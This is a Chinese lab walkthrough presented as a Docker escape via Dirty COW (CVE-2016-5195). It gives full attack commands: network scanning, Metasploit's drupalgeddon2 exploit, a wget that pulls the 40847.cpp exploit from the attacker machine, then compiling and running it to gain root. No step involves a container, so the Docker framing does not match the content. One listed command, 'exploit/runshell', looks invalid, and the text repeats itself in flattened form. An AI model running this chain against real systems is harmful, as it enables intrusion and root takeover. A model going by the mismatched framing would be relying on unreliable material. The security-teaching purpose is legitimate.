Docker逃逸之由内核漏洞引起的逃逸(CVE-2016-5195)
字数 1192 2025-08-18 11:36:57

Docker逃逸之由内核漏洞引起的逃逸(CVE-2016-5195)教学文档

一、Docker逃逸概述

Docker逃逸是指攻击者从容器内部突破隔离限制,获取宿主机权限的行为。目前Docker逃逸主要分为三种类型:

  1. 由内核漏洞引起:如CVE-2016-5195(Dirty COW)
  2. 由软件程序漏洞引起:如CVE-2019-5736
  3. 由配置不当引起:如特权模式(privileged)逃逸、docker remote api未授权访问等

二、Dirty COW漏洞(CVE-2016-5195)原理

漏洞原理

Linux内核的内存管理子系统在处理写入时复制(Copy-On-Write, COW)机制时存在竞争条件(race condition),恶意用户可利用此漏洞获取高权限,对只读内存映射进行写访问。

竞争条件是指任务执行顺序异常,可导致应用崩溃或让攻击者执行其他代码。利用此漏洞,攻击者可在目标系统提升权限,甚至获取root权限。

影响版本

该漏洞影响全版本Linux系统(Linux kernel >= 2.6.22)

三、漏洞利用实战

环境准备

  • 靶机: 192.168.200.49
  • 攻击机(Kali): 192.168.200.14

信息收集阶段

  1. 扫描存活主机

    nmap -sP 192.168.200.0/24 -T4
    

    通过MAC地址确认靶机IP

  2. 扫描开放端口和服务

    nmap -sV -p- 192.168.200.49
    

    确认开放端口:22(SSH)、80(HTTP)、1898(Web服务)

  3. Web应用探测

    • 访问192.168.200.49:1898
    • 确认CMS为Drupal 7

初始入侵

  1. 使用Metasploit利用Drupal漏洞

    use exploit/unix/webapp/drupal_drupalgeddon2
    

    获取低权限shell

  2. 转换为交互式shell

    exploit/runshell
    

提权准备

  1. 查找Dirty COW利用脚本

    searchsploit dirty
    locate linux/local/40847.cpp
    
  2. 复制利用脚本

    cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /tmp
    
  3. 在攻击机启动HTTP服务

    python -m http.server 8899
    
  4. 靶机下载并编译利用脚本

    wget http://192.168.200.14:8899/40847.cpp
    g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil
    

    编译选项说明:

    • -Wall: 启用所有警告
    • -pedantic: 遵循ANSI/ISO C标准
    • -O2: 优化级别2
    • -std=c++11: 使用C++11标准
    • -pthread: 链接pthread库
    • -o 40847: 输出文件名
  5. 执行提权脚本

    ./40847
    

    获取root密码:dirtyCowFun

获取root权限

  1. 方法一:直接登录

    su root
    密码:dirtyCowFun
    
  2. 方法二:SSH远程登录

    ssh root@192.168.200.49
    密码:dirtyCowFun
    
  3. 创建交互式shell

    python -c 'import pty; pty.spawn("/bin/bash")'
    

    交互式shell对于某些需要用户输入的命令至关重要

四、漏洞防御措施

  1. 及时更新内核

    yum update kernel
    apt-get update && apt-get upgrade linux-image-generic
    
  2. 限制容器能力

    • 避免使用--privileged特权模式
    • 使用--cap-drop=ALL移除所有能力
  3. 启用SELinux/AppArmor

    # 检查SELinux状态
    sestatus
    
  4. 定期漏洞扫描

    # 使用漏洞扫描工具如lynis
    lynis audit system
    

五、总结

通过本教学文档,我们详细了解了:

  1. Dirty COW漏洞的原理和影响范围
  2. 完整的信息收集和漏洞利用流程
  3. 从低权限到root权限的完整提权过程
  4. 有效的防御措施

此漏洞利用展示了内核级漏洞的严重性,强调了及时更新系统和正确配置容器安全的重要性。

Docker逃逸之由内核漏洞引起的逃逸(CVE-2016-5195)教学文档 一、Docker逃逸概述 Docker逃逸是指攻击者从容器内部突破隔离限制,获取宿主机权限的行为。目前Docker逃逸主要分为三种类型: 由内核漏洞引起 :如CVE-2016-5195(Dirty COW) 由软件程序漏洞引起 :如CVE-2019-5736 由配置不当引起 :如特权模式(privileged)逃逸、docker remote api未授权访问等 二、Dirty COW漏洞(CVE-2016-5195)原理 漏洞原理 Linux内核的内存管理子系统在处理写入时复制(Copy-On-Write, COW)机制时存在竞争条件(race condition),恶意用户可利用此漏洞获取高权限,对只读内存映射进行写访问。 竞争条件是指任务执行顺序异常,可导致应用崩溃或让攻击者执行其他代码。利用此漏洞,攻击者可在目标系统提升权限,甚至获取root权限。 影响版本 该漏洞影响全版本Linux系统(Linux kernel >= 2.6.22) 三、漏洞利用实战 环境准备 靶机: 192.168.200.49 攻击机(Kali): 192.168.200.14 信息收集阶段 扫描存活主机 通过MAC地址确认靶机IP 扫描开放端口和服务 确认开放端口:22(SSH)、80(HTTP)、1898(Web服务) Web应用探测 访问192.168.200.49:1898 确认CMS为Drupal 7 初始入侵 使用Metasploit利用Drupal漏洞 获取低权限shell 转换为交互式shell 提权准备 查找Dirty COW利用脚本 复制利用脚本 在攻击机启动HTTP服务 靶机下载并编译利用脚本 编译选项说明: -Wall : 启用所有警告 -pedantic : 遵循ANSI/ISO C标准 -O2 : 优化级别2 -std=c++11 : 使用C++11标准 -pthread : 链接pthread库 -o 40847 : 输出文件名 执行提权脚本 获取root密码:dirtyCowFun 获取root权限 方法一:直接登录 方法二:SSH远程登录 创建交互式shell 交互式shell对于某些需要用户输入的命令至关重要 四、漏洞防御措施 及时更新内核 限制容器能力 避免使用 --privileged 特权模式 使用 --cap-drop=ALL 移除所有能力 启用SELinux/AppArmor 定期漏洞扫描 五、总结 通过本教学文档,我们详细了解了: Dirty COW漏洞的原理和影响范围 完整的信息收集和漏洞利用流程 从低权限到root权限的完整提权过程 有效的防御措施 此漏洞利用展示了内核级漏洞的严重性,强调了及时更新系统和正确配置容器安全的重要性。